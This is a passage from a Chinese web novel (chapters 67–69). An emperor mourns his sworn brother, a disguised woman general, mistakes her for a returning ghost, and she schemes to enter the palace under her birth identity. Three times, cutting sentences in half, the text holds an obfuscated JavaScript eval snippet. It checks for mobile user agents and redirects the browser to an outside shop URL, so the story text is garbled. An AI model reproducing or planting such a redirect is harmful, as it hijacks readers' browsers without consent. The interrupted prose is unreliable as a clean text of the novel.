不需多交代,训练有素的军士们留下一些人继续扑火,其余的则迅速站位,转眼即布下了阵法——正是衡王所传,名震天下的八阵图。几十人可结阵,数万人也可结阵,含八大基本阵型,六十四小阵,变化万千,威力无穷。阵势一成,如同布下天罗地网,纵是一流高手也难轻易脱身。 然而,接下来发生的一幕,让军士们齐齐大惊。 那道身影竟似对这座阵法了然于胸,如同水中游鱼,又似穿花蝴蝶,在阵型的缝隙间穿梭,左一折,右一闪,前趋后掠,游刃有余。 几十名精锐军士,连对方的衣袂都未能沾到分毫,那身影几个闪烁,便已如轻烟般飘出了合围。 狂风呼啸,火光摇晃,那人衣袂飘扬,乘风而去,只几闪就不见了。 当真如一抹幽魂般。 陆戈握着刀柄的手心全是冷汗,脑中一片轰鸣,喃喃道:“不可能,不可能!” 即使结阵之人,也只知自己的站位和变换。铁骨军中,知八阵图全貌的不超过五人,这人怎会如此熟知此阵? 军士们都被震得僵立在原地,彼此交换着惊疑的眼神。 许多声音同时在问:“他是谁?怎会有人这样轻易地破了八阵图?” “因为,他是衡王的魂魄啊!”一个高亢的声音忽然想起。 三个道士激动得浑身颤抖,面红耳赤,几乎要手舞足蹈起来。 “招魂成功了!” “衡王的魂魄来了!” “必须赶紧禀报皇上!” 陆戈:“……” 军士们:“……” 67. 第 67 章 这日朝事议得利落,辰时未至已结束。 秦信从前殿步出,回勤政殿的中途,他脚步倏地一顿,目光越过粼粼湖面,落在正领兵巡逻的御林军首领身上。 竟是沈以贵。 秦信眉峰微蹙,有些意外。 眼前的沈以贵和这几年形容落拓,仿佛被抽干了精气神的模样截然不同。此时,他走在队列的前头,身姿挺拔,目光如炬,那股久违的机敏狡黠劲儿,似又陡然重新注入了他的身体里。 不知为何,秦信隐隐觉得把这事弄清楚很重要。 收回视线,他一边往前走,一边沉声命令:“宣沈以贵到勤政殿。” 冯简绕过湖,与那队巡逻的御林军迎面相遇。 “统领!”沈以贵率先打招呼,声音响亮,笑容爽朗。 熟悉的笑脸让冯简一阵恍惚,他上下打量着旧友,脸上现出惊异:“你这是想通了?” 沈以贵收起笑容,露出愧色:“是,想通了。过去的事,再后悔自责也不能挽回,总是沉在过去里只会错上加错。皇上仁厚,这几年我当差三天打鱼两天晒网,也没撤下我的职位,皇恩深重,再不敢辜负。” “好!早该如此!”冯简心中大慰,一拳捶在他肩头,“以后好好当差!” 沈以贵重重点头:“嗯!” “跟我来,皇上召见。”冯简示意。 沈以贵面上露出点忐忑:“皇上召见?莫非是为我从前犯糊涂?” “现在知道怕了?早干嘛去了?”冯简没好气,可对上他不安的眼,想起他因衡王之死颓废这些年,好不容易才振作起来,心又软了,安慰道,“放心,皇上,只是问问话。” 沈以贵夸张地长吐出一口气,笑着道:“那我们快点去。” —— 勤政殿,气氛凝滞。 裴轩面色惶恐,冷汗涔涔:“皇上,臣、臣并无恶意,当真只是……只是与秦状元玩笑。” 今天大朝会结束,他正欲离开,却被内侍宣召至此。在殿门口撞见同样被领来的秦实时,他心头便咯噔了一下。果然,皇上开口便问他昨日进士游街砸马之事。 他本想抵赖,可锦衣卫把他昨天的举动都一丝不差地描述了出来,他只得托词玩笑,希望能蒙混过关。 秦信目光转向一旁的秦实,声音辨不出喜怒:“秦修撰,裴主事与你可是旧识?可随意玩笑至此?” 秦实飞快地瞥了裴轩一眼,脸上露出昨日听闻砸马者身份时同样的畏缩。他看看裴轩,又偷瞄一眼龙椅上的帝王,那副战战兢兢的模样,殿中所有人都能轻易看出他的左右为难。 最终,他似不敢欺君,小声道:“回皇上,臣是昨日马匹受惊之后,才识得裴主事。” 裴轩腿一软,跪倒在地。 上头传来冰冷的宣判:“妄言欺君,扰乱国仪,着降职一级。” 降一级! 裴轩霍然抬头,满是不敢置信地望向上座。 六品变七品,连大朝会的资格都没了! 堂兄竟如此绝情! 封赏时忽略他,只给个无实权的礼部主事,连身边的近卫冯简等人都封了伯爵,却没给他一个爵位。 如今竟还要如此折辱他! “不服?”沉冷的问话响起。 裴轩对上那双幽深的凤眸,里面没有半分亲情暖意,只有审视死物的漠然。 他瞬间记起几年前,因与姜家女冲突而被罚军棍,那时堂兄看他的眼神,也是这样。 后背陡然灼痛起来,好似那时的军棍又落在了身上。 “臣不敢!”他慌忙拜伏在地,声音发抖。 他不知自己是如何走出大殿的。 走下殿前台阶时,他脚下一软,一个趔趄,差点摔倒时,胳膊被人稳稳扶住。 他站稳后侧头看过去,竟是秦实。 “裴主事,小心脚下。” 这位新科状元,翰林院六品修撰,脸上依旧是那副拘谨畏缩的神情,可他贴在裴轩耳边的低语,却充满讥诮:“哦,一时忘了,裴大人如今是七品,称不得‘主事’了。” “你!”裴轩再想不到秦状元是这样一个假装老实的人,他怒目圆睁,声音拔高。 “裴大人息怒!真不是我禀报皇上的!”秦实跟着提高音量,语调惶恐,仿佛受了极大惊吓。 守在门口的内侍目光立刻被吸引过来。 裴轩气得浑身发抖。 真是被扣了好大一口黑锅。 “姓秦的,你别得意!再怎么贬斥,我和皇上血脉相连,你一个外姓人,还想翻天压我一头?你等着,我总有再起来的一天,那时我饶不了你!”他咬牙切齿地低声道。 “好,我等着。”秦实也压低了声音,慢慢道,“不过,裴大人似乎忘了,我和皇上都姓秦,认真论起来,你才是外姓人。” 裴轩:“!” 秦实迎着他瞪大的眼,嘴角勾起一丝若有若无的弧度:“至于说翻天,我从未想过,真正想翻天的,是裴尚书和裴大人吧?只是可惜……”他仿佛很惋惜似的摇头,“令公子姓裴,不姓秦。皇上可是很不喜欢裴这个姓呢。” 仿佛一道惊雷在裴轩脑中炸开。 那个藏在心底最深处,因堂兄不近女色,近来在心底悄然生起的最隐秘的念头,竟被此人一语道破! 状元郎那双眼,此刻清明锐利得可怕,好似将他从头到脚,连胸口的那颗心,都看得一清二楚。那张朴厚的脸,此刻在他眼中,犹如索命的恶鬼。 他全身的血液都冻结了,僵在那里动弹不得。 “裴主事?秦修撰?” 惊疑的叫声传来,裴轩猛地回神,循声看去。 冯简和沈以贵正朝这里走过来,刚刚开口的是冯简,而两人的目光都盯着这边,视线在他和秦实之间来回打转,神色狐疑。 裴轩低头,发现秦实还扶着自己的胳膊,他猛地甩开,几步跨下台阶,往前狂奔而去。 冯简和沈以贵望着从面前而过,不顾宫规奔跑的背影,不明所以地面面相觑。 “怎么一副见了鬼的模样?”冯简嘀咕道。 秦实走过来,苦着脸向两人解释:“皇上追究裴大人昨日砸马之事,降了他的职。” 两人恍然。 看方才的情景,想必裴轩因此恨上了秦状元。 安慰了秦实几句,两人步入殿内。 秦实走下台阶,掸掸衣袖,目光投向裴国公府的方向,幽幽闪烁:“这一世可是皇位呢,裴祥光,你的手段当更加狠辣吧?” 细微的声音飘散在空气中,没一个人听见。 —— 沈以贵进殿,向皇上行礼。 秦信开门见山问他为何突然振作。 沈以贵满面诚恳和愧疚,将湖边对冯简那番“幡然醒悟,愧对皇恩”的说辞又说了一遍,言辞恳切。 秦信听完,淡淡瞥他一眼:“说实话。” 沈以贵心头猛跳,脑中念头急转,面上却纹丝不动,道:“臣不敢欺君,确实是醒悟以前之错。不过,臣突然醒悟,是因昨晚一个梦。” 一旁的冯简暗自诧异:“劝了几年油盐不进,竟是被一个梦点化了?” 秦信追问:“什么梦?” 沈以贵口齿清晰,掷地有声地道:“臣梦见将军了!” 秦信眼眸骤然大张,捏着佛珠的手指不自觉加大力道,声音沙哑地问:“什么?” “臣梦见将军了! ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16967458|188379||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ”沈以贵一鼓作气地说下去,“那梦很清楚,像真的一样。将军狠狠训斥了臣一顿,命臣振作起来,务必护好皇上周全。” “他说,让你护我周全?”艰涩的声音从喉咙里挤出。 “是。” 秦信闭了闭眼,深吸一口气,再问道:“他气色如何?身上、脸上可有烧伤?” “没有烧伤。”沈以贵语气笃定,“将军容光焕发,面色红润,与生前一般无二。” “那,他胸口呢?可有表现出疼楚?行动间可有沉滞?” “没有,将军身形灵便,还指导臣武术。” 秦信紧绷的身体一下子松懈下来,颓然靠向椅背,急喘了几口气,又急切地问道:“他穿的什么衣裳?” 沈以贵想了想,说了一个最普通的衣裳样式:“一身黑色武服,下摆绣着云纹。” “刀呢?霹雳刀在这里,他拿的什么刀?” “一把横刀,式样和霹雳刀差不多,锋锐无比,是把宝刀。” 秦信问了很多,从衣着佩饰到神情言语,直到问无可问,这才停下来。 好一会,他没说话,眼望前方,却散乱没有焦距。 大殿陷入一片死寂,沉重得令人窒息。 冯简和沈以贵屏息垂首,只觉一股无形的压力,压得他们喘不过气。 良久,一声低低的的叹息响起:“这样清晰,怎么入我的梦,每回都只是一个模糊的影子,连面容都看不清呢?” 皇帝半垂着眼,坐在光线昏暗处,神情呆怔,一身寥落。 冯简心中蓦地一阵酸痛。 沈以贵低下头。 就在这时,一个军士匆匆进来,脸上惊疑与迷茫交织,混合成一种说不出的神情:“皇上!衡王墓驻守御林军与道长急报!昨夜衡王的魂魄,显灵于姜允、徐真两位居士的墓前!” 秦信霍地站起,全身的血液都涌向头顶。 “快宣!” 沈以贵愕然抬头,看看那报信的军士,又看看苍白面上涌出红晕的皇帝,满心里只剩一个疑惑:谁、谁的魂? 陆戈和三个道士进殿,把昨晚的情形详细说了一遍。 “是皇上诚意感动上苍。”道士激动地拱手,“因此让衡王魂魄返回,与皇上相见。” “是吗?”秦信双手握成拳,身体前倾,“真是衡王的魂魄回来了?” 道士坚定地回道:“是!” “皇上,那……人轻功极高,行动如鬼魅……”眼见事情将成定论,陆戈忍不住开口,委婉地道。 秦信转向他:“你是说,那不是衡王魂魄,是人?” 帝王眼中如有两把暗火点燃,灼亮逼人,陆戈一阵心颤,硬着头皮道:“依臣看,有可能是人。” “除了衡王,哪个人有那样的轻功?哪个人能轻易破解八阵图?”秦信急声反驳。 他呼吸急促,喃喃道:“是他,我知道,是六航,带着火,回来了。” “我要去见他。他在哪里?墓!他是来探望两位居士的,说不定还会回来!” 他说着向前跨步,却忘了桌子挡在前面,膝盖一下撞在了桌角。 “皇上!”众人惊呼。 听声音,这一下撞得极狠,秦信却像毫无所觉,脸上不见一点痛苦之色,他伸手抓住桌沿,猛力一推,把桌子推到了一边。 “哗啦!”在大力作用下,摆在桌上的笔墨纸砚、奏章文卷滚落一地。 前路已无障碍,秦信冲向殿门。 冯简最快反应过来,疾步跟上。 陆戈与道士们愣了一瞬,也慌忙追了出去。 殿内只剩下沈以贵一人,他踌躇片刻,也出了门,却和众人背道而驰,往皇宫药园走去。 68. 第 68 章 七天。 距离秦信跑出勤政殿,已经过去七天。 这期间秦信一直没有回宫,只派了军士传话,一切朝务由指定的几人商议处理,由姜丞相最后决断。 黄昏时分,残阳如血,倦鸟归巢。 谢思礼策马抵达北郊,远远便望见两位居士坟茔处连绵招展的布幡,低沉苍凉的诵唱声穿透暮色,一声接一声,让人心中生出无限凄怆。 “灵幡明灯引归途,魂兮魄兮速归来!” “东西南北皆是路,魂兮魄兮速归来!” 谢思礼在布幡围成的场地边缘勒住马,直到诵唱暂歇,她才深吸一口气,掀开层层垂挂着的画满诡异符文的布幡走进去。 幡影重重,暗红、墨黑与雪白的布匹交错,其上悬挂的铜铃发出清脆的“叮当”声。场地中央,地上画着一个巨大的圆形阵法,几十名道士盘坐阵枢,神色肃穆。 空气中弥漫着香烛与纸灰的气息。 谢思礼绕过阵法,在最里面看到了皇帝。 他一身帝王盛装,端坐蒲团之上,脸色却苍白得近乎透明,眼窝深陷,布满蛛网般的血丝。听到脚步声,他迟缓地抬起头,动作僵硬得像生了锈的机括。 “何事?”那声音沙哑干涩,如同沙粒摩擦,“不是说了,不要来扰朕么?” 谢思礼依礼参拜,在他对面盘膝坐下。 “皇上,臣查了京城所有纸钱铺。七天前,一对父子分八家购买纸钱衣物,因非年非节,店家记忆犹新。其中一家铺子的主家幼女顽皮,在所售纸衣内侧都用朱砂点上了圆点。” 她从袖中取出包裹的青布,解开绳结,露出里面的碎纸片,“这是臣在这里收集的,有红点印记的纸衣碎片,请皇上查看。” 她双手将碎片捧到皇帝面前。 秦信的目光死死钉在那些刺目的五彩碎屑上,嘴唇剧烈地颤抖起来,手攥紧成拳,指节绷得泛出青白,却始终没有伸手去接。 谢思礼举着的手微微发酸,轻声一叹:“皇上,那不是衡王的魂魄。” 时间仿佛凝固,连空气都似乎停止流动,压抑的死寂笼罩全场,唯有铜铃偶尔“叮当”一响,更添凄清。 半晌,秦信抖着声道:“可他熟知八阵图。” “衡王说过,是从古书上看到八阵图,旁人也有可能看过那古书。”谢思礼目光掠过皇帝苍白得透出死气的脸,不自觉地别开眼。 “他速度奇快,非人力所及。”秦信说道,仿佛溺水者要拼命地抓住一块浮木。 谢思礼强迫自己转回目光,直视面前绝望的面容,轻声道:“天下之大,奇人辈出,未必没有藏着和衡王一样武功高强的人。” “你说的那对父子呢?为何不带来见朕?”秦信五指抓紧膝盖,手背爆出青筋。 “兵士没搜寻到那对父子,但臣查到……” “查、查、查,除了查,你还会什么?”秦信突然暴喝,猛地站起。 谢思礼的话戛然而止,惊愕地仰头看去。 皇帝双目赤红,脸颊肌肉剧烈抽搐,死死瞪着她,嘶声道:“朕让你查了吗?朕让你来说这些了吗?” 谢思礼抿紧唇,沉默着。 秦信的目光扫过她手中的纸片,如同被烫到般,眸光猛地一缩,一把夺过青布包裹,高高扬起手臂,用尽全身力气狠狠甩出。 红的、绿的、白的碎屑,如同漫天飘洒的冥钱,纷纷扬扬,落了满地。 每一片,都仿佛在无声尖叫:不是他!不是衡王! 怎会如此? 怎能如此! 初闻六航魂魄归来,是多么欣喜若狂。 他将两位居士葬在六航之侧,盼着这份牵挂能引他归来。 六航真的回来了,来探望两位居士。 他奔过来,七天七夜,招魂一刻未停。 他穿上最华贵的冕服,遮住额头的伤疤,每日数次净面,端坐于此,不敢稍离。 每一刻都在幻想着重逢。 想着那时,是紧紧抱住义弟哀求?还是克制自己别吓到他? 怀揣着希望与忐忑,等了七天七夜。 现在却告诉他,这只是一场虚妄?一场活人制造的幻影? 心口炸裂般地疼,喉咙里一口气憋得几乎要窒息,眼前阵阵发黑,耳中尽是“嗡嗡”的轰鸣,他急促地喘息,胸口剧烈起伏。 上天何其苛待他! 毁灭的欲望在血管里奔涌,想要撕碎眼前一切。 帝王的眸光扫过全场,带着嗜血的欲念。 天子之怒,威压如山,所有道士瞬间五体投地,抖如筛糠,冷汗浸透道袍。 “不能,不能在这里。”混乱的脑海中仅剩一丝清明在挣扎,“这里是接引六航的地方。” 要去外面。 他踉跄着向前跨出两步,却眼前一黑,直直向前栽倒。 “皇上!”谢思礼离得最近,仓促间伸手去接,却只触到一片衣角,眼睁睁看着那袭明黄身影重重砸落在地。 恐怕阳气惊扰魂魄,招魂时被赶到外面的冯简等人闻声,掀开布幡抢了进来。 随行的陈院使诊脉后道:“无大碍。” 冯简急道:“怎么无碍?都晕了!” 陈院使瞪眼:“任谁连日不眠不休都会晕倒!” 见冯简再不敢吱声,她缓和语气道,“皇上心力交瘁,加之方才急怒攻心,气血逆乱,这才晕厥。你把皇上带回宫,让皇上静养安睡,醒来后再服药调理,就没事了。” 冯简招呼军士把皇上抬上马车,准备回宫。 一个道士追上来问:“冯、冯统领,这招魂还继续吗?” 冯简下意识看向谢思礼。 谢思礼看向马车,方才帝王的伤痛与绝望仿佛仍在眼前,她黯然垂眸,低声道:“继续吧。” —— 京城开始大搜查时,姜六航便嗅到了麻烦的气息,所幸凭借宋今禾准备的路引文牒,叔侄两人顺利通过了官兵的盘查。 这天下午,当看到武节伯府门屋檐下挂出的鲤鱼灯时,姜六航几乎不敢相信自己的眼睛,巨大的狂喜冲上心头。 天心草,找到了! 她进入宅内,向沈以贵询问情况。 “是在药园找到的?” “不是。”沈以贵摇头,“是在冷宫里。” 冷宫?这个答案实在出乎姜六航的意料。 “天心草极难养活,就那样在冷宫里野生野长,竟然没死?” “有人照料的。” 姜六航更加意外:“那冷宫里还有人?听说忠王李裕闯入皇宫后,杀了不少皇妃宫人,没被杀的都逃了,竟然还有人躲在冷宫没走?” “是一个疯癫的老太监,可能是不知道要跑,侥幸活了下来。” “疯了,还知道要照料天心草?” “那天心草是熙平朝被贬到冷宫的一位娘娘种的,老太监就是原来侍候她的。二十年前,那娘娘去世了,老太监一直留了下来,后来脑子不清楚了,却还知道和从前一样照顾娘娘种下的花草。” 姜六航恍然。 “将军,您是要去取天心草吗?”沈以贵问。 姜六航一凛,郑重嘱咐:“此事到此为止。记住,你从未见过我,也别去打探天心草的后续。” 沈以贵望着眼前戴着帏帽,声音完全变了样的将军,忍不住追问:“将军,您何时回来?皇上他……前些天有人去祭拜姜允、徐真两位居士,皇上以为是您的魂魄,疯了似的赶去,守在那里招魂,整整七天七夜。昨天谢尚书去了,才把人劝回来。将军,您快点回来吧。” 疯了似的? 一股混杂着酸涩与刺痛的洪流直冲喉头,姜六航狠狠掐住掌心,勉强压下那股翻涌的情绪。 若连此刻听闻都控制不住心绪,待真正踏入皇宫,万一碰见大哥,岂非顷刻间便会露馅? 对上沈以贵殷切期盼的目光,姜六航无法给出自己都不能保证的承诺,只低声道:“我要去一个很远的地方。如果两年后没回来,便是在那里安顿下来,不再回来了。” 沈以贵大急:“将军为什么不回来?”他突地想起将军那成谜的来历,迟疑着问道,“将军,你原本是那里的人吗?”可将军分明是中原人的样貌。 姜六航没有回答。 不到万不得已,她不愿再编织新的谎言。 用力拍了拍沈以贵的胳膊,她只留下一句:“我会尽量回来。” 回程路上,姜六航在心底轻唤:“三九。” “啊?” “你最近很安静。” “航航你在忙正事嘛,统不打扰你。”系统的声音里带着心虚,“再说,统十一岁啦,要稳重!” “是不是能量不够用?”姜六航单刀直入。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16972797|188379||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “……呃,”999卡壳了一下,知道瞒不过,只得老实承认,“是有点影响,休眠时间变长了点。但没事,统还能撑!” 姜六航沉默片刻,缓缓道:“再陪我一段日子,最多两年,能坚持吗?” “绝对没问题!”999答得斩钉截铁,语音中藏着一点小得意,“扫描京城的能量还有富余呢,统抠一点点出来维持日常运转,绰绰有余。” “三九真聪明!”姜六航大力表扬。 “哼哼!” 姜六航没有直接回住处,而是绕道去了衡王府。 王府大门紧闭,她从围墙跳入,里面果如方三所说,荒草丛生,空无一人。亭台楼阁、曲径回廊,在荒芜中仍然可见昔日精巧。 这是大哥送给她的王府,上次进来时是黑夜,匆匆一瞥,今天她要好好看看。 姜六航放慢脚步,在府邸中缓缓穿行,手指拂过雕刻花纹的木栏、朱红的高大廊柱。天色将暗时,她走到了那片被烧毁的废墟前。 霎时,记忆扑面而来。 小灰凄厉的哀鸣在火场上空盘旋,一次次冲向烈焰。 大哥手持匕首,抵在冯简臂上,目眦欲裂。 姜大人嘶吼着指挥救火,汗如雨下。 谢思礼摔倒在地,却还紧紧抓着水桶。 近卫们义无反顾地冲向摇摇欲坠的火屋…… 最后,定格在脑海里的,是隔着烟与火,大哥蓦然瞪大的,盛满惊恐与绝望的赤红的眸。 心口传来闷痛。 姜六航蹲下身,从怀中取出一物,松开拳头,一颗玉石印章托在掌心。 将军令。 治病期间,将军令不能带在身上,恐被人发现。 她走进废墟深处,寻了一处不起眼的角落,用刀掘开泥土,挖出一个深坑,把将军令放了进去,再仔细掩埋、夯实,覆上枯草与碎石。 —— 接下来的日子,叔侄两人紧锣密鼓地进行入宫筹备。 首先租了一座偏僻的民居住下,便于行事。 姜六航换了女装。 孙从庸眉头拧成了疙瘩:“宫里守卫森严,易容之术绝对混不进去,必须用真容。好在见过你本来面目的,如今大约只有我和黄超那混蛋了,倒不怕被人认出你是赤霄剑客。可问题是,你既不是官员,又不是侍卫,怎么进到皇宫?” “先把该准备的准备好。”姜六航神色平静,“进宫的法子,我来想。” 孙从庸熬了药让她喝下,告诉她:“这药把你的内力散开,暂时护住心脉肺腑。这段时日,你会比寻常无武功之人更为虚弱,直到吃下天心草才会慢慢好转,所以在吃下天心草之前务必要注意保养,千万不能生病。” “嗯。”姜六航点头。 苦涩的药汁滑入喉咙,一股空虚感蔓延至四肢百骸。 半个时辰后,丹田内空空如也。 孙从庸又让她连喝了几天另外一种汤药,之后,她的声音逐渐变得柔和、清爽。 “很好。”她满意地道。 “唉,可惜了。”孙从庸却大摇其头,一脸惋惜,“一点都不像你以前的声音。娇娇嫩嫩的,多招人疼啊。” 姜六航懒得回从庸叔叔这话,挽起左臂衣袖,露出手腕上方的红痣:“从庸叔叔,这里,”她指尖点了点,“想法子把它遮掉,最好弄成旧伤的样子。” 孙从庸疑惑地看她,皱着眉:“为什么?怎的平白损伤身体?” 姜六航:“皇上看到过我这颗痣,以防万一。” “他怎么会看到这里?”孙从庸问了一句,随即恍悟,“你和他的人打斗,不小心把袖子撕了?” 姜六航含含糊糊地应了一声。 “我可以把痣去掉,不需弄出疤痕。” “不行。” 孙从庸再问,姜六航就不肯多说了,只说等几天就会知晓。 终于一切准备就绪。 “现在总该告诉我,怎么进宫了吧?”孙从庸强调道:“你吃下天心草后,我必须守在你身边,根据身体情况随时调整药方,想瞒着我行踪可不行了。” 姜六航放在膝盖上的手指收紧:“从庸叔叔,我带你去见一个人。” 孙从庸一愣:“见谁?” 姜六航张了张嘴,千言万语一时说不清,最终道:“见到他,你就知道我进宫的办法了。” 69. 第 69 章 翌日清晨,出门之前,姜六航当着孙从庸的面,小心翼翼地将那套从云山带来的婴儿衣裳裹好,贴身拿着。 孙从庸眉头一跳:“这个……你何时拿来的?带着它作甚?” 姜六航按了按包裹:“这是我小时候穿过的吧?” “是啊,这衣裳……”孙从庸陡然停下,咽回了后面的话。值此非常时期,不宜扰乱衡儿心神。 “衣裳怎么了?”姜六航偏头看他,眸色清澈。 “没怎么。”孙从庸掩饰地咳了一声,“就是……二十几年了,看上去还不是很显旧。”这一打岔,他有点心神不宁,忘了追问姜六航为何避而不答。 出来之后,姜六航领路,径直进了街旁一间茶楼。 柜后立着个心宽体胖的中年掌柜,满面笑呵呵。 “我要四两祁山绿茶,五两古安红茶,一斤藜寨黄茶,有吗?”姜六航声音平稳。 掌柜脸上的笑容极短暂地滞了一下,眼睛飞快地往下一扫。 柜台上,女子一手五指并拢平放,另一手拇指与四指分开,状若“八”字。 “有有有。”掌柜热情地道,“客官请里面稍候,这就给您备齐。” 他引着二人转入后堂一间静室,以和臃肿身体极不相称的敏捷关上门,脸上笑容一收,对着姜六航拱手弯腰,恭敬地道:“楼主早有吩咐,但凭姑娘差遣。百晓楼上下,赴汤蹈火,在所不辞。” 姜六航把手上的包裹递过去:“有劳掌柜,将此物金块送到宋楼主手中。” 孙从庸盯着那包裹,瞪大了眼,眸中满是惊疑。 “好,姑娘放心,快马加鞭,三日内必送到。”掌柜接过来,又问,“姑娘可还有什么话要带给我们楼主?” 姜六航摇头:“没了。她看到送去的东西,自然知道该怎么做。” 出了茶楼,姜六航余光扫见从庸叔叔不时偷瞄她,欲言又止,心知他此时定是满心疑惑。但千头万绪,不知从何说起,且大街上也不是说话的地方,于是只做未见,继续往目标地去。 到了那里,见到那个人,不用她多说,从庸叔叔就都明白了。 两人穿过几条街巷,走进一家饭馆。菜上齐后,伙计说了声“客官慢用”,退出包间。 孙从庸拿起筷子,招呼道:“吃、吃!”又问,“我们吃早餐后就去见那人吗?” 姜六航把一口菜咽下去,才道:“那人喜欢吃这家的羊肉面,今天休沐日,他必会来。” “休沐日?还是个官儿?” “嗯,吏部左侍郎。”姜六航神色郑重,压低声音,“我们等会儿悄悄地看那人一眼,叔叔,你可千万要记住,无论看到什么,都不要叫出声来,以免引起人注意。” 孙从庸不以为然:“呵,还能是青面獠牙不成?你可太小瞧你叔了,我行医多年,什么骇人景象没见过?就是那脸上流脓,爬满蛆虫,鼻子嘴巴都看不清的,我也见得不少。那人还有他们可怕?还能吓得我叫出声?” 姜六航一阵恶心,筷子顿了顿,过了一会才又开始夹菜。 姜六航坐在门帘旁,边吃边留神着大堂动静。半刻钟后,她眸光一凝,低促道:“来了!”指尖微动,把门帘缝隙掀得更大。 “叔叔,你快看。” 孙从庸闻声抬头望去。 门口走进一人,月白长袍衬得身姿挺拔。一束晨光恰好斜斜打在他侧脸上,将那俊朗的轮廓照得分毫毕现。 眼尾微微上挑的弧度,微微隆起的饱满颧骨,清晰利落的下颌线…… 那模样,竟与衡儿真容有九分相似! “嗒!” 孙从庸手中的筷子砸在碗碟上,他嘴巴无意识地张开,整个人如同被惊雷劈中,僵在当场。 姜六航眼疾手快,一手迅速放下门帘,另一手已闪电般捂住了他的嘴,将一声即将冲口而出的惊呼硬生生堵了回去。 帘子隔绝了内外声响。 孙从庸猛地拉下她的手,霍然转头,死死盯着她,眼中是翻江倒海的震惊:“他、他是……” 姜六航迎着他震惊的目光,声音清晰:“姜守,姜丞相之子。”她的指尖在桌下悄然蜷紧,“也是我血脉相连的亲兄长。” “姜丞相?”孙从庸陡然醒悟,“你要以姜丞相女儿的身份入宫?那衣裳,你送去给宋楼主,是让她替你安排好身份,再去认亲?” “嗯。”姜六航点头,“认亲之前,必须确保身份天衣无缝。我的来历,不能有丝毫破绽。”她声音低下去,“不能让宫里那位起疑。” 孙从庸呆坐良久,消化着这惊天消息,脸上神色变幻。他看向姜六航,声音干涩:“衡儿,你是何时知晓姜丞相是你生父的?是这次进京见到姜守才知道,还是早就知道了?” 姜六航眼神晃了一下。 二十四年前,那个儒雅的男子给她系着襁褓带子,指尖带着小心翼翼的珍重,亲了亲她的脸蛋,轻声说:“爹早给你取好了名字,叫恒儿,永恒的恒,喜不喜欢?” 遭遇山匪前,虽只短短三日,她也弄清了,那人是和州长史,正在陪同夫人去往通州的路上。 后来,她投入大哥军中,不久就见到了那人。 她从来都知道,姜大人是她亲身父亲。 “几年前,一次偶然得见姜守,知道的。” “衡儿,你爹娘,原准备等你再大些,再告诉你这事。你去闯荡江湖后,你爹和我说,等你这次回来,就告诉你。”孙从庸声音低落,“后来杨承攻破玉灵县,他们,没来得及和你说。” 姜六航眼眶发热,哑声道:“我明白。爹娘一直珍藏着那套衣裳,是盼着我有一天,寻到亲身父母。” 生恩、养恩,一样的深重。 此世能得两对父母疼爱,何其有幸。 —— 几天后,姜六航和孙从庸再去茶楼,掌柜交给两人各一张文牒。 “这是楼主给两位安排的身份。” 两人接过细看。 掌柜:“泉州灾民正往京城而来,我们会协助姑娘混入其中。请姑娘在两天之内,把一切准备妥当,然后来此。” 说着详述混入灾民的计划。 姜六航听完,转头对孙从庸道:“从庸叔叔,你再给我脑袋上做个伤口吧。” 掌柜:“……做?” 姜六航:“让他们亲眼看见伤口,才不会生疑。” 孙从庸略一思索:“行,只要不是顶尖圣手,包管看不出破绽。” —— 两天后,城郊僻静处,孙从庸为姜六航送行。 他一遍遍殷殷叮嘱:“万事小心。” “吃下天心草后,我会到你身边来。在那之前,自己照顾好身子,莫要贪凉,莫要劳累。” “天心草性烈,服后必起高热,持续六日乃是药性相搏之兆,不要慌。” “有什么不舒服,那些御医诊治不好的,托信给我。” 姜六航握了握他的手,那掌心传来的暖意和让她心头酸软:“从庸叔叔放心。”她披上一件黑色外袍,将面容隐在兜帽阴影下,转身与掌柜一同离开。 孙从庸站在原地,直到再也看不见那两道身影,才怅然地转身。这一夜,他辗转反侧,脑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16982116|188379||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 中纷乱如麻。 衡儿能顺利进入皇宫,吃下天心草吗? 衡儿体内的毒性,能彻底驱除吗? 如果治好了病,衡儿以后大概就一直和家人生活了,他们会好好对待她吗?衡儿吃了那么多苦,可不能再让家人伤她的心。 翌日起床后,孙从庸直奔丞相府所在的街道,找了一家离府较近的饭馆进去。 趁着上菜,他状似不经意地问伙计:“小哥,那边过去就是姜丞相府吧?” 伙计放下菜盘:“是。” “他们家有几位主子?性情可好?容易相处不?” 伙计眼中闪过一丝警惕:“你问这个作甚?” 周围的人也纷纷看来。 孙从庸面色镇定:“唉,家中侄儿在相府当差,我难得进京一趟,抽空来瞧瞧他。他当值要到午时才有空出来,我这不是担心么。” 